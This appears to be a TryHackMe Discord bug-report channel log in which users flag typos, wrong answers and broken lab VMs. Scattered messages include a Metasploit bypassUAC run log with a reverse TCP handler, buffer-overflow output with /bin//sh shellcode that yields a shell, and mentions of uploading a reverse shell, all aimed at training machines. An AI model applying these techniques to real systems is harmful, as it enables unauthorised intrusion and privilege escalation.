Ah shhiititt
#site-bugs
frosty cape
tribal oasis
Just rebooting (battery has died on said laptop, just moved downstairs).
I have an old install of Kali on another VM.
What updates have you done? I used to be a web dev
frosty cape
Its my obfuscation methods
Hmm
I can revert it I guess
I just need to know where its breaking
So on the console it will kinda say
Whats causing the browser to break
tribal oasis
Best command to run for that info?
frosty cape
Its in your browser console
Right click, click inspect
Then there is a tab calle "Console"
tribal oasis
Hahaa, ohh that console π€ͺ
Just loading the VM back up
Itβs been a long day at work π
tribal oasis
Yeah no problem, just out having a cig then I can be around to test as much as you need π€
frosty cape
awesome thanks π
tribal oasis
Will me connecting to the vpn help in any way from your end?
frosty cape
no
tribal oasis
frosty cape
Shift F5
Clear your cache and try again
Load that file
Just go to it in your browser
And try come back again π
tribal oasis
Less errors but still spinning
tribal oasis
Just taken my dinner out of the oven, Iβll be more on it properly in ten π€
frosty cape
Ok ty
rugged ermine
Small typo, likely missing a word
surreal kettle
π€
tidal kiln
majority of top 10 users by scoreboard of https://tryhackme.com/room/bpsplunk haven't answered #2.17. is the question too elusive?
rugged ermine
I hope not haha
I put that question in there as one of the less technical items, it's just not super obvious from the help menu
tidal kiln
i'm thinking something's got to be up with that based on stats from the scoreboard. numerous people have answered every question but that one
looks like a few question on the room chat including the most recent are related to that question as well
rugged ermine
I can tell you the question is worded almost nearly as you would find it in a splunk textbook as I reviewed one of my books when making that room
The hint I'll provide is: p**** t****
tidal kiln
would it help to add a hint to that question (within the webUI)?
rugged ermine
Done
tidal kiln
thanks! now to watch the numbers on the scoreboard and see if that did the trick π
rugged ermine
Haha yeah
fringe arrow
small typo in the upload page: We are uploading your file. Please be patient, manually refreshing this page will destory <<[typo here] all progress..
delicate dragon
God, I gotta find a XSS on THM xD.
rugged ermine
Realistically I need to talk to Skidy about a web app for it
Rather a pentest on the site
delicate dragon
^
tidal kiln
xss room has err_connection_timed_out errors for me fairly consistently. esp reproducable under the Filter Evasion section, I can't "submit" new attempts more than 2-3x in a row without the room timing out. happens across ff/chrome on diff computers and ISPs. also across multiple instances of the deployed room across 3 days.
a second item to note is that under tasks 8.3 and 8.4, i've got several variations that meet the objective of displaying an alert with "Hello" but don't yield a flag afterwards. happy to give examples in a DM if anyone wants to add those to the corpus of accepted inputs for future users
frosty cape
Hey, yeah the XSS room has problems that I need to fix when I get time.
Sorry for that
languid halo
Vulnversity Task 3 about gobuster does not list the subcommand dir: 'gobuster -e -u http://<ip>:3333 -w <word list location'
languid halo
Yes I figured my way around it I just wanted to submit it so it could be fixed. Thank you both @tawdry totem @frosty cape
languid halo
I only have a few minutes at a time so im still on vulnversity is Task 4 #3 written correctly? I found the area but to me doesn't seem as described
"Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.
Click the "Positions" tab now, find the filename and "Add Β§" to the extension. It should look like so"
I think it should be Intruder > Positions > Attack Type: Sniper ... Because Payloads tab is different.
slow sphinx
The Linux CTF two of them u cant do
earnest solar
Which ones @slow sphinx ?
slow sphinx
@frosty cape
could you update the room, playing with my OCD ngl aha that ive done it but its saying I havent ah a
tawdry totem
Flag 26 and 27 are solvable ^^
Currently no one able to solve flag 25, Imma trying it
covert kernel
@tawdry totem
tawdry totem
Oh yes?
covert kernel
I am try to find Flag 26 or 27 in Linux Challenge
@tawdry totem I am almost certain that I stumbled across flag26 or flag27 while I was looking for another flag.
tawdry totem
Alright, will pm you now. Plus, this is not the correct channel. This is a bug reporting channel.
covert kernel
sorry man
earnest solar
Guess its been discussed already. But the βadd 1 hourβ option is not working(at least for me)
frosty cape
What do you mean?
Does nothing happen?
Just tested it, seems to work for me
What happens when you try to extend?
earnest solar
extended with around 10mins before the machine expired
and even though i extended it, it closed
yeah, there was no problem form e
for me, spawned a new one
frosty cape
oh right? Has anyone had this problem?
When you extended did it say the expire time was in 1 hour?
earnest solar
Yup
steel wasp
Spelling error (https://tryhackme.com/badges)
frosty cape
Fixed thanks for letting me know
spiral flame
https://tryhackme.com/room/ccradare2 Issue with task 2, question 4
Answer should be -- rather than -
rugged ermine
@covert kernel
spiral flame
To explain a little more, all the other answers needed the - prefix so this shouldn't be an exception
spiral flame
Ayy, glad I could help. Otherwise, really enjoying that radare tutorial @covert kernel
covert kernel
:D
tidal kiln
seeing an issue where I can't deploy VMs in new rooms
steps to reproduce:
- join room
- click "deploy"
a. seeStarting your machine.. please wait!banner
b. nothing ever happens - If I refresh browser window, no IP info is available and the "Deploy" button is green again for me to select
also can't seem to terminate my VM from the heartbleed room. perhaps the two issues are related?
covert kernel
I'm having the same issue with deploying the PowerShell VM
covert kernel
Perfect thank you. I won't blame my incompetence yet
covert kernel
bruhh
frosty cape
Our infrastructure providers are experiencing a temporary issue, for now you will be unable to deploy machines. We apologise any inconvenience, feel free to reach out to us!
rugged ermine
For now, don't forget you can do any of the machines where you don't have to deploy a machine or any of the rooms where the VM is publicly available (i.e. any of my rooms where the download of the vm is available on https://darkstar7471.com/downloads/
remote laurel
You are welcome, cool :)
spiral flame
https://tryhackme.com/room/vulnversity I think the flag -u is wrong for gobuster in the version that's in the kali repos at least
Unknown shortform flag
in fact, the whole command given won't work
gobuster now needs you to specify what you're trying to bruteforce
Ok, you can specify -u if you specify the type of scan
So you need gobuster dir -u <target> -w <wordlist>
Latest version here
Also, the answer for what extension is blocked
txt files are blocked, with the message that that extension is not allowed
So is zip
And png
Everything so far reports extension not allowed
frosty cape
what common extension π
Skip that question and come back to it
It will make more sense after maybe
spiral flame
They're all common extensions
Oh it wanted a . prefix
Well, the gobuster point still stands
worthy stag
Bugged time since posting? Was at 2m ago last night when I checked this last. Not sure if this is known yet
mortal root
I have only completed the first 10 tasks of the c4ptur3-th3-fl4g room but it seems to have bugged and decided I've finished all of it
The other sections aren't showing the tasks. I've replicated this in a few different browsers
rugged ermine
@mortal root try leaving the room and rejoin quickly, see if that resyncs the tasks
It's likely due to the age of the room that it's glitching out
mortal root
weird, that fixed it. cheers @rugged ermine
rugged ermine
yup! Glad that worked and that I could help haha @mortal root
By the way, what level at you right now @mortal root ?
I can get your tags updated in the discord π
mortal root
0x9 - I've been so busy finishing uni/interning that I've fallen far from grace :p
rugged ermine
You can also DM me any certs you have and I'll get you tagged accordingly
mortal root
so now I have a little bit more time I'm trying to regain ground
mortal root
awesome thanks π
mortal root
@rugged ermine seems to be a recurring issue, just joined another (much newer) room and as soon as I joined, same issue
vocal raptor
no
oh wait
i had the exact same issue
i just thought none of those had questions
mortal root
timezones seem off for me, can't see anywhere on my profile where I could change it
for reference I'm in the UK now (10:50PM)
frosty cape
I am too in the UK
No issues for me
It uses your local clock
So if you're using a VM, is that VM's time zone set to GMT?
frosty cape
Can you change it to UK format?
Just to see if that fixed it
If so I will try find a solution
mortal root
doesn't affect functionality anyway π
frosty cape
What browser are you using? And whats its version number?
Yeah but is annoying for you aha π
Ill get it fixed
mortal root
Firefox 60.8.0esr π
tawdry totem
Finished the window bof box, nice box btw. However, I found a small bug in the description.
The EIP should be reverse due to big endian.
Took me sometime to figure it out haha.
hazy stratus
frail vessel
Is that considered a bug?
rugged ermine
In this case, kind of. This is a known bug as that page is somewhat deprecated. Realistically, for the Bug Hunter award I believe we're looking for major errors in the site overall (not to be a wet towel of the conversation)
That page realistically needs a revisiting and it does have it charm
spiral flame
@rugged ermine You have a typo in RP:metasploit in the Initialising section
Should be msf, not mdf
Additionally, q6 on Task 5. it asks for the full path but you need to enter it without the exploit/, which means it's not the full path
rugged ermine
I'll add exploit on it, good catch on both of those haha
spiral flame
@rugged ermine Good room though, I felt like I learnt a lot because I've been avoiding msf as it makes me feel like a dirty skiddy
rugged ermine
While a lot of people consider MSF to be easy mode, it's an essential tool for even stringing together other frameworks
The other frameworks part I should have realistically alluded to in that room but I tried to keep it mostly essentials-focused. You can pretty much throw whatever you want in the payload and get things like Cobalt Strike, PowerShell Empire, or even Silent Trinity involved. Metasploit is a framework that is stupid powerful
spiral flame
@rugged ermine Yeah, that's why I want to learn it. But I'd rather learn the 'real' ways alongside
raw karmaBOT
TryHackMe
spiral flame
This page is now out of date, as HB2 happened
rugged ermine
Oh goodness, my team is listed on that page still lol
spiral flame
yeah, it's the highest scoring team
frosty cape
Updated locally, will be made live this evening.
rugged ermine
Skidy with the ninja edits lol
...I just got dabbed on by Skidy..... Oh lordy
lmao
rugged ermine
oh lordy
rugged ermine
@spiral flame There are multiple for that and it's actually grepping for the correct answer there
Not the best screenshot but that's from the control panel
rugged ermine
I had that mentioned to me just a bit ago, it's been retired unfortunately so I'll just change it
spiral flame
I'll go back and grab a screenshot
rugged ermine
I just updated the room lol
spring heron
Is the cryptofun room supposed to have more than 1 txt file for download?
for Task 1
earnest solar
Uhh... LanSharks2 on the 2nd place.
rugged ermine
Hehe as it should be @earnest solar
earnest solar
I agree @rugged ermine
Still needing 1 more member xD
If anyone wanna join, youβre welcome. Just PM me. A beginner or an experienced user, doesnβt matter
spiral flame
https://tryhackme.com/room/xsschallenge This room has stopped existing or is private, but shows on profiles
spring heron
In Fowsniff CTF Task#1.10 is In the email, who send it? Using the password from the previous question and the senders username, connect to the machine using SSH. This should say the recipients username, not sender.
spring heron
In KnockKnock question 3 is looking for the wrong answer. Either the question should be reworded for the answer thats currently considered correct, or the expected answer changed to match the current question
spring heron
In room Biohazard, when you obtain "crest 4" there are two hints that are described as being related to "crest 2" when in fact they're for "crest 4"
rugged ermine
@tawdry totem that one would be for ya
spring heron
In room Alfred question #1, The answer to How many ports are open is incorrect, there are double that amount of open (and responding) ports
spring heron
In room Kenobi, question #2, The accepted answer to, Scan the machine with nmap, how many ports are open? is incorrect as there are 5 additional ports open. The question is assuming you're not completing a full port scan and only using nmap's default port list
covert kernel
I'm getting a connection error on the ninjaskills room
I'm connected to the VPN
Ignore me, now working
frosty cape
Yeah sorry, it takes up to 3 minutes to boot!
wise epoch
Isn't it should be fire away!
rugged ermine
@spring heron thank you for the solid QC on the rooms as you go, helps us go back and catch small things β€οΈ
spring heron
In /room/cryptochallenges Task #8 successfully decrypts but is not the accepted answer. Additionally, the given answer format of "12char 4chars, 3chars..." doesn't occur as a pattern anywhere in the decrypted text
spiral flame
@spring heron additionally, the XOR challenges need to be decoded from hex first
sturdy halo
After completing the RP: Metasploit room, it doesn't seem to be showing up in my list of badges
I tried leaving and re-joining
not a huge deal, but wasn't sure if anyone else had this prob
spiral flame
@sturdy halo I don't think there's a badge for it
spiral flame
Yeah actually, I don't have that badge
rugged ermine
Skidy can likely get this taken care of in just a short bit
sturdy halo
cool, thanks
frosty cape
In a room, its not showing you have the badge, but what badge is available
I can see why it looks confusing
It looks like you're going to get the badge.
But its just showing you whats up for grabs
It will earn you that badge
spiral flame
@frosty cape I did the room, and didn't get the badge
frosty cape
oh sorry, AFTER doing the room
frosty cape
@delicate dragon
Ill take a look guys regarding the badges sorry
Ooooo
Its because, I added the badge a few days after the room was released
So it wouldnt have updated for you
Please DM your username me and I will add the badge to your account!
rugged ermine
(I'm just giving you a hard time)
delicate dragon
:p
I'm gonna implement the auto subscription role assign feature
But seriously, how did it die?
rugged ermine
No idea, I haven't peeked at the console yet
delicate dragon
Oh
spiral flame
@delicate dragon do you have a DB set up so !rank can detect who you are yet?
delicate dragon
It's in progress, since the new feature Skidy implemented will give you a token which will help you to verify as it'll help you to change roles accordingly, as soon as you get rank there, yours will be updated here.
Might take a while since I have exam, but will be implemented this week.
spiral flame
Oh cool. Looking forward to it and good luck with your exam.
delicate dragon
Thanks
twilit lichen
In Brainstorm room i can't get a response from the deployed machine, tried resetting it several times.
spring heron
In room Goldeneye Task2 question 3: Inspect port 55007, what services is configured to use this port is looking for the wrong service name than what is actually responding on that port
spring heron
In room WebGramming Task 2 "Repeat" the service on port 19001 is insanely unstable and requires multiple re-deployments while interacting with the service due to crashes
spring heron
Ok, giving up on WebGramming until it can be looked at. The instability isn't limited to Task2 that I mentioned earlier and effects all the tasks. You have between 1-5mins before the app crashes and stops responding for all the tasks.
mortal root
@spring heron I had the same issue with GoldenEye months ago - I think it'd be good if we had a better way of tracking room issues/alerting authors
Because I know how frustrating it can be when you've already invested time into a challenge and you reach a roadblock that shouldn't exist
spring heron
+1 for issue tracker
mortal root
I've dropped it in #544951750801752079 π
Looking at the room, seems like there's been 0 completions in ~6 months, maybe in addition to issue tracking, gathering analytics about user engagement with rooms would be good
like completion times, most hinted questions etc, would help identify issues people don't report formally and help content creators improve their submissions
spring heron
Also maybe a code escrow for rooms. So if a contributor is no longer active but the room needs care/feeding it could be made available for a new maintainer to take over
mortal root
Hmm yeah I guess there's a weird ownership issue there, once an OVA is uploaded to THM it's no longer retrievable by room creators (correct me if I'm wrong). Also don't know if there's a particular term/condition of who owns the rooms/VMs once they are uploaded to THM
But yes, I think a good example is the "Cardboard" challenge in HackBack2. There's a known issue with broken port knocking on there, but it seems there's no way it's going to be fixed
"2. Use License
Unless explicity stated or credited, users are assumed to own the material they used to create a room." - so I guess in its current state, THM would need to have a new policy where rooms can be modified after submission with perhaps an opt-out? And then ask existing content creators if this can be applied retroactively
spring heron
hmm, yeah
spring heron
In room HackBack 2019, Task 4 (Jurassic Park) it doesn't appear that Flag4 is being generated (unless the reference to it is a red herring). Same within the Jurassic Park room as well obviously.
rugged ermine
I beat on flag four for literal months
|| it's a red herring, there is no flag four. I have the actual flag four hash that I had to ask for originally, let me know if you want it ||
spring heron
In room Intro to x86-64, Task 6:CrackMe, the logic in the binary is flawed and accepts multiple values as the correct password, as long as the first 3 chars are correct
spring heron
The question is What is the password? and the answer format was ***.*.*.*
Task7 has a similar issue, the binary accepts a single character and responds that its the correct password
spring heron
@spiral flame I read back thru the room and dont see where it says what are the first 3 chars of the correct password, nor in the prompts for either binary, enter your password and Please enter password
spiral flame
Might be thinking of a different RE course on thm then
vocal raptor
Error in Windows BOF. ```This tool is called pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
pattern_offset != pattern_create.rb
vocal raptor
Bug in powershell. Get-Command | measure returns 7935. Deskel's writeup says 7935. Submission doesn't accept that as answer π¦
earnest solar
Soooo
UltraTech Task2 Question5
the submit button doesn't work
pressing submit and there is no "Correct answer" nor "Wrong answer" popping
tried with UBlock disabled too
it's odd because the other worked. Tried in a different room and those worked too
spiral flame
I managed that the other day... Interesting
frosty cape
@earnest solar Ah you're right, I will look into this later this week
spring heron
All the tasks in WildFireCTF appear to be broken
sly raft
What task and question number @vocal raptor ?
vocal raptor
@sly raft for windows BoF, task 3 question 6. the tool we use does not match the name of the command it says to run. For powershell, task 3 question 3 π
rugged ermine
You're correct, it should be vmdk
spiral flame
(this is on the landing page when you're not logged in)
spring heron
In room Toolbox: Vim Task3, Quest 6 the accepted answer isn't the correct one
On the THM Blog there is a write-up for Zeus, but the link leads to "Owner has made this room private"
frosty cape
@rugged ermine I think that your room?
I think we made it private as we're seeking permission from the original VM creator.
@spiral flame Thanks, updated! The change will be made live this evening.
spring heron
In "HackBack 2019" Task 14, Quest 1: there is nothing in the provided pcap that would be an indicator of the accepted answer, and is more of a guess based on the description of the task.
In the room ICE is the accepted answer for the CVE correct?
spiral flame
Yes, at least for me
I got a 2004 one
And that's what the msfmodule lists as the CVE that it's using
spring heron
But thats not the correct one based on question #1
spiral flame
But it is the correct answer based on what you're actually doing
The exploit you pop
spring heron
the 2014 CVE isnt RCE nor is it a cvss score of 10
tribal knoll
There might be 2 CVE's for the same vuln
I remember Dark complaining about when that happens a little bit ago
spiral flame
I mean I had CVE-2004-****
spring heron
@tribal knoll nope, two different CVEs one is buffer overflow with score of 7.5 from 2004. The one described in question #1 is RCE from 2001 and had a score of 10
spiral flame
I mean they're right, the only 10.0 score cve is the 2001 one
@rugged ermine So yeah, this is actually an issue
tribal knoll
nvm just realised this is bugs and not room help smh
earnest solar
Could switch the number 10 to βRated as criticalβ
spring heron
but you'd also have to change the accepted answer for #1 since the 2004 CVE isnt RCE
worthy stag
Guys hate to tell ya, I know itβs a room intended for learning but youβve just dropped the answers in here
spiral flame
This is bugs
tribal knoll
I thought it was room-help at first tbh
spring heron
@spiral flame its a BO that can lead to RCE
tribal knoll
Deleted my spoilers
spiral flame
It gives you RCE, it's classified as Execute Code,Overflow
worthy stag
I know itβs bugs. But regardless you have posted the cve
Which in turn spoils the question it asks
spiral flame
It's normal to spoil answers in bugs
Very normal, scrolling back
You kind of have to, if your answer is right and the accepted answer isn't
spring heron
Thats RCE via Buffer overflow. Straight-up RCE would be something like Vulnerability Type(s) Execute Code
spring heron
The results of exploiting a vuln isnt what dictates the vuln type. A BO can also lead to DoS , but I'll agree to disagree. π
tribal knoll
You legit both just said the same thing but reworded nvm I can't read ignore me
I should double read stuff before I open my mouth π
spring heron
Has anyone had success with priv escal on ICE?
spiral flame
I did when it was RP metasploit
spring heron
Multiple attempts, with multiple redeployments , all failed so far
MSF versions:
Framework: 5.0.61-dev-
Console : 5.0.61-dev-
From Ubuntu 19.0.4
spring heron
Can an admin check to make sure msdefender isnt eating them? π
spiral flame
Pretty strange, seeing as it worked on rp metasploit and this is the same VM afaik
rugged ermine
I can assure you that box doesn't have defender
all of my testing was done using the THM-hosted version of the box and it all does work
spring heron
welp, as the saying goes... 64th times a charm. Finally popped second session
rugged ermine
Speaking directly as the developer, Ice is my most thoroughly tested room. Some of the items in it can take a few attempts but that's just pentesting in general there
spring heron
π
@rugged ermine Did you see the chatter early about quest #1 and 2 under task 3?
rugged ermine
I can check on that now
I did not previously
Resolved, it was a misalignment specifically from myself looking at the CVE's associated with Icecast. If you check https://www.cvedetails.com you'll find Icecast is plagued with CVE's and I had misaligned that between the two sources I had looked at.
I've adjusted the wording on the vulnerability type question as well. While I consider this to be RCE, I'm using the wording now on CVE Details to avoid any confusion
spring heron
π Nice work @rugged ermine, the rest of the completed as expected. The badge is fitting given the season π
rugged ermine
Thank you π
Thank you guys as always for the fine-grained checks on the room, helps me maintain them and provide clarity
tribal knoll
@rugged ermine remember to put the VM files on your site asw
rugged ermine
^Yup yup, I have to compress it but I'm in the process on doing that today
I have to update my rooms to have links to the download page
tyvm for the reminder of course
tribal knoll
Any idea why priv esc is escaping me?
rugged ermine
What architecture is your shell?
tribal knoll
I tried both x86 and x64, x64 wouldn't give me a shell
spring heron
For me I'm assuming most of it was related to my migrating my CTF workstation build to 19.04 and working out the kinks
rugged ermine
the suggestion engine doesn't work super well on x64
tribal knoll
I got the exploit, just would never give me a session
rugged ermine
Good to know though since other people will undoubtedly hit similar issues
tribal knoll
[*] Exploit complete, but no session was created.
rugged ermine
do you have your LHOST set correctly? I had that happen a bunch
spring heron
one other thing to keep in mind is that LHOST isnt global, unless you specifically set it...
rugged ermine
it might not be 'catching' it
rugged ermine
hmm
I can also give you the local version of the box in a short bit, that might help
tribal knoll
(could I also get a rank up real quick, 0xD now)
rugged ermine
done!
tribal knoll
|| [] Started reverse TCP handler on 10.10.14.2:9001
[] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[] Configuring payload and stager registry keys ...
[] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[] Cleaning up registry keys ...
[] Exploit completed, but no session was created. ||
spring heron
Is 10.10.14.2 your TUN0 ip? Mine is always in the 10.8.8. range.
tribal knoll
Uhhhh
rugged ermine
^I think your catcher and pitcher might be flipped
tribal knoll
That's HTB isn't it
tribal knoll
oihuj;aerg
spring heron
welcome to Friday!
rugged ermine
xD hey at least we got it
spiral flame
@rugged ermine So if the privesc doesn't work, I have to redeploy the machine?
spring heron
My biggest pet peeve right now is MSF 5 not catching ctrl + z properly anymore
rugged ermine
Sometimes, it will work most of the time and a lot of times you can just rerun the exploit @spiral flame
spring heron
@spiral flame double check lhost, its not global by default
spring heron
Ok
spring heron
In HackBack 2019 Task12 question 8. What site did the user go to? Answer with the sites FQDN the accepted answer format isn't the FQDN that the user accessed. Edited for clarity
And same task question9, Look at all downloads in the pcap, who did this user download a photo of? There are only two downloads in the pcap and both are a 1x1 gif. Or is there an deeper puzzle here that I'm overlooking?
spring heron
there are quite a few that appear unsolvable in that room due to various issues, I have a running list that I'll post once I've done as much as I can
spiral flame
@spring heron yep, and the same with hackback2
rugged ermine
Would you guys be interested in beta testing? This would be for my content specifically (primer rooms, etc)
wise epoch
@rugged ermine yes for sure!
vocal raptor
I would be up for that too π
rugged ermine
I'll make a chat in just a bit for beta testing, I'll invite y'all
wise epoch
gotcha!
spring heron
@rugged ermine π
neon zealot
doing the mrrobot room and when you get to wordpress it kinda shits the bed
pages taking like 5+ mins to load
sometimes not even loading
me and the bois have uploaded a reverse shell, but we can't even load the page to trigger it
rugged ermine
#room-help would be best here β€οΈ
earnest solar
I didnβt have this issue tbh
spiral flame
@hollow arch you have a typo on the main page of djinn
on the webserver page
let's see how good your are
spiral flame
Also, I think it actually asks 1001 maths questions
hollow arch
Python loop goes till 1001 meaning it will stop on 1000
neon zealot
https://tryhackme.com/room/kali can't complete the 2nd (duplicated?) question REEEEE
spiral flame
@hollow arch my script loop counts 0-1000 inclusive so there's 1001
frosty cape
@neon zealot This is so weird.
Erm, when you're online again this evening please let me know and I can check what the issue might be
earnest solar
@frosty cape UltraTech still doesnβt validate task 2 question 5 answer π
spring heron
The question about number of REST routes?
earnest solar
Yes
spring heron
Hmm, validated for me. I just dont recall which day I solved it on to comapre results. Was in the last 20d tho
earnest solar
Tried validating it about 1 week ago
spiral flame
It validated for me
earnest solar
I just reminded Skidy to look into it xD
earnest solar
I tried different browsers
I donβt get that pop up
Ehich says its wrong or right
spring heron
Chrome on MacOS here
spring heron
@hollow arch @spiral flame yeah, counting the one that is sent with the initial connection there are 1001 operations
hollow arch
oh
as far as I remember I was running the loop till 1001 so I thought it might be 1000
spring heron
999 - b" (3, '-', 1)\n>"
1000 - b" (2, '+', 8)\n>"
1001 - b" (7, '*', 2)\n>"
[*] Switching to interactive mode
Not sure whether to put it here or feedback but it says "Horay!" when you deploy your machine, should it be "Hooray!" or do both work?
frosty cape
lol
Where did you see that @neon zealot ?
In rooms?
If so, I have just updated it. The change will go live after lunchtime today.
reef blade
Hurray or hurrah
neon zealot
Still can't seem to pass https://tryhackme.com/room/kali
The question seems to have duplicated for me, and when I click "completed" it says it's the wrong answer
spiral flame
It's duplicated that question
neon zealot
Wondering why it wont let me answer it though
spiral flame
Leave and re enter the room
neon zealot
tried, still there sadly
spiral flame
Interesting. It's happened to 2 different people on 2 different rooms recently
neon zealot
I guess for now I'll leave the room cause it's messing up my "rooms in/rooms complete" ratio
frosty cape
Ahhh, I thought I had fixed the duplication bug
When did that start appearing @neon zealot
spring heron
X-posting from #room-help
Can an admin check the network/firewall setting for when WebGramming is deployed? When it first deploys its reachable from outside THM VPN, then becomes available only from VPN, then a few minutes later stops responding altogether, including pings
neon zealot
I noticed it yesterday
Just checked again today and it's there
maybe it only fixes for people who don't have any progress in the room?
spring heron
In room Intro to Windows BoF Task2 Question 5, What is the name of the Administrator account?
Should that be What is the name on the admin account vs "of"
spiral flame
No, the grammar works fine as it is
I'd argue "on the admin account" is less correct
spring heron
But the name of the admin account is Administrator, no?
spiral flame
I don't know without doing the room, but it varies by windows install
spring heron
Windows account have a "Name" like Administrator and a "Full Name' like Jim Smith.
The accepted answer is looking for the value of the "Full Name" of the admin account
spiral flame
Then that might be a better way of asking the question
Full Name, rather than username
spring heron
Also on the same room Task3 Question 1 How many ports are open on the box? The accepted answer is for the number of ports detected by a default scan of nmap and not that actual number of responding ports.
wise epoch
@frosty cape space required!
frosty cape
Yeah fixing all spacing issues on that page π
frosty cape
I am re-reading it π
wise epoch
Ah! apologies i made you re read it!
frosty cape
Nah needed to be updated, so thank you! π
spiral flame
Hey @frosty cape I think I need to dm you about something
It might be chrome being dumb actually
Nvm, 99% sure it is.
(sorry)
spring heron
X-Posting
Not sure if this falls under #room-help or #site-bugs but the subscription-only room Buffer Overflows is brutal
The description is Learn how to get started with basic Buffer Overflows! but the last two challenges would fall in the expert category due to a disassembler not being installed in the deployed room
I've spent 5hrs this morning attempting it by utilizing strace to determine some of the address locations and can get to the point of controlling RIP, but even with a NOP sled of 60+ its a guessing game to determine the stack pointer in order to hit the sled
spring heron
Additionally, I tried compiling GDB but it doesn't appear as the redhat dev toolkit is installed either since the current compiler doesnt support C++11 (I also believe the toolkit installs GDB)
spring heron
About 6hrs in I finally have code execution, will work on swapping in shellcode when I'm back from an event tonight.
Here's a program that echo's out your input
οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGοΏ½οΏ½οΏ½οΏ½
Trace/breakpoint trap
Another update... finally popped shell but the SUID doesnt appear to be functioning
Here's a program that echo's out your input
οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½οΏ½jBXοΏ½οΏ½HοΏ½RHοΏ½/bin//shWT^IοΏ½οΏ½IοΏ½οΏ½AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGοΏ½οΏ½οΏ½οΏ½
bash-4.2$ whoami
user1
Should be user2... this def isnt a beginner challenge π
spring heron
No worries, my mind is fried from this one so any dialog is welcome
I flush the ENV prior to exploiting so I get a consistent stack, I'll have to look into how that impacts SUID execution, I wouldnt think it would
sly raft
hey @spring heron
i'm so sorry about that - I was quite sure that r2 was installed on there
uploaded the image to have r2 + gdb on there
so it should work fine
^ i disabled ASLR + Canaries when creating the challenges so the addresses should be static O.o
spring heron
Thanks @sly raft, there should be a badge for getting shell using only strace for analysis. π
Are the absolute links to localhost on the BluePrint website intentional?
earnest solar
@spring heron yes they are. Youβll have to dig aaaaa liiittle deeper
sly raft
omggg did you pop a shell using strafe @spring heron ?
Also if you're using another program to run shellcode like gdb/strace it would use the SUID bit of those programs instead of the actual binary
Which is why you use those programs to test if the shell code works, add a bunch of NOP sleds to make it reliable, and run it using the binary
spiral flame
So the login page, it says username or email. I tried with my username and it didn't let me log in.
Worked with my email
frosty cape
I'll investigate:)
spring heron
@sly raft I used strace -i ./buffer-overflow ... to aid in "brute forcing" the stack address and then ultimately popped shell with env -i ./buffer-overflow ... but it didn't retain SUID. When I'm back from traveling later tonight I'll give it another try without wiping ENV
spiral flame
stone flint
some elements are not responsive
frosty cape
Ahhhh, I will update this tonight. Thanks for reporting :)
spiral flame
Btw I haven't tried chrome mobile, only firefox mobile
spiral flame
Do you have "request desktop site" on? @remote laurel
spiral flame
remote laurel
I bork
spiral flame
Should the button say add writeup instead?
frosty cape
Yeah the only thing is... the site is not really intended for mobile. Its on my to-do list, but I can't imagine anyone using the site on their phone... unless they're ub3r l33t.
Ah yeah!
Updated, will be made live tomorrow π
vocal raptor
A very large portion of the world only use mobile, while it's unlikely there are people who do use sites on mobile that aren't made for it (IE Free code camp https://www.freecodecamp.org/news/how-i-went-from-programming-with-a-feature-phone-to-working-for-an-mit-startup-40ca3be4fa0f/ ). might be a nice unique selling point. hard to imagine kali on a phone, but termux exists or they might just want to read the walkthrough rooms π
frosty cape
Oo @vocal raptor yeah I had not considered that. Thanks! I'll make the site much more mobile friendly in the near future π
spring heron
Room BrainStorm Task#2 Quest#2 How many ports are open?
The accepted answer is twice the number of listening ports.
spiral flame
@covert kernel In your reverselfiles room, I think task 5 has a typo on the prompt. Binary would print "Good Game" not "good job"
covert kernel
Thanks man, I'll change it
spiral flame
(I might be wrong)
@rugged ermine Is joystick meant to be unbearably slow, on the terminal?
rugged ermine
It's kinda sluggish since it's running a game server
spiral flame
Does it just not have enough ram or CPU?
spiral flame
@rugged ermine can RP nessus still be ran with nessus 8?
rugged ermine
Yeah, there's not any major difference there between the versions
spiral flame
Then I'd suggest changing the "Nessus 7 Manual" to "Nessus 8 Manual"
frosty cape
If it needs it I can give the machine more resources
rugged ermine
